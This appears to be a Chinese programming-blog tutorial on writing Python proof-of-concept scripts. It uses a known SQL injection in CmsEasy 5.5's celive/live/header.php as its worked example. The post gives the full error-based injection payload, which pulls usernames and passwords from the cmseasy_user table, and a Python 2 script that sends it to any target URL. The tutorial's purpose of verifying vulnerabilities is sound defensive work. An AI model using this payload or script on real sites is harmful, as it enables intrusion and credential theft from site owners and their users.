知行编程网知行编程网  2022-11-08 16:30 知行编程网 隐藏边栏  9 
文章评分 0 次,平均分 0.0
导语: 本文主要介绍了关于python poc是什么的相关知识,希望可以帮到处于编程学习途中的小伙伴

如今,PoC 的编写在我们安全研究团队是每个人必备的技能之一。那么,PoC是什么呢?我们应该如何优雅的来进行编写?

什么是 python poc


0x00 我们需要掌握的几个的概念

PoC(全称:Proof of Concept)中文意思是“Proof of Concept”。在安全行业中,PoC 是一个验证漏洞的程序,让我们能够确认该漏洞是真实的。

Python 是一种面向对象的解释型计算机编程语言。我们需要了解一些常用的库,比如:urllib、urllib2、re、request、socket等。本文将使用Python语言,不讲解Python的基础知识。

SQL注入,通过在Web表单中插入SQL命令提交或输入域名或页面请求的查询字符串,最终欺骗服务器执行恶意SQL命令。


0x01 PoC编写流程

场景还原:某网站托管公司托管了上万个站点,负责这些站点的安全,但突然有一天,某知名CMS程序被曝出高危SQL注入。上百个站点都在使用这个CMS程序,所以要一一检查漏洞是否存在是非常繁琐的,所以我们需要一个PoC来验证。

·根据漏洞详情描述,假设已知易受攻击的CMS版本号为4.1,你可以到其官网或GitHub下载对应版本。

·下载后,模拟其服务器真实环境,本地搭建。根据漏洞描述,复现,以SQL注入为例,反复提交不同的参数,观察不同的返回结果,不存在漏洞的注意结果。

·根据漏洞复现的实际情况,进行PoC的编写。

·PoC编写完成后,需要进行相关测试,确保PoC编写无问题,如测试目标机程序、程序无漏洞等。

0x02 SQL Injection poc编写

CmsEasy 5.5 UTF-8程序已知有SQL注入,暗云漏洞中的漏洞细节更详细

(由于wooyun已经暂停访问,故不上链接了)。

·首先,我们需要下载其相关源码,进行本地搭建。

阅读漏洞细节,我们得知其url与payload如下:

URL:http://xxx.xxx/celive/live/header.php Payload:xajax=LiveMessage&xajaxargs[0]=name',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)--%20

·漏洞复现:我们根据漏洞描述进行复现。注入点需要发起一个 Post 请求。我们使用带有hackbar插件的火狐浏览器进行复现,填写url和payload,发送,获取其账号密码。

漏洞效果如下:

什么是 python poc
这样,我们的漏洞就已经复现成功了。接下来,我们来写Poc。

#!/usr/bin/env python
# coding:utf-8
import urllib2
import urllib
import re
import sys
def verify(url):
target = '%s/celive/live/header.php' % url
#需要发送的数据
post_data = {
'xajax': 'LiveMessage',
'xajaxargs[0]': "name',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- " }
try:
#发送请求
req = urllib2.Request(target, data=urllib.urlencode(post_data))
response = urllib2.urlopen(req)
#处理请求,进行判断
if response:
data = response.read()
if "XPATH syntax error" in data:
print "%s is vulnerable" % target
else:
print "%s is not vulnerable" % target

except Exception, e:
print "Something happend..."
print e
def main():
args = sys.argv
url = ""
if len(args) == 2:
url = args[1]
verify(url)
else:
print "Usage: python %s url" % (args[0])
if __name__ == '__main__':
main()

本文为原创文章,版权归所有,欢迎分享本文,转载请保留出处!

知行编程网
知行编程网 关注:1    粉丝:1
这个人很懒,什么都没写
扫一扫二维码分享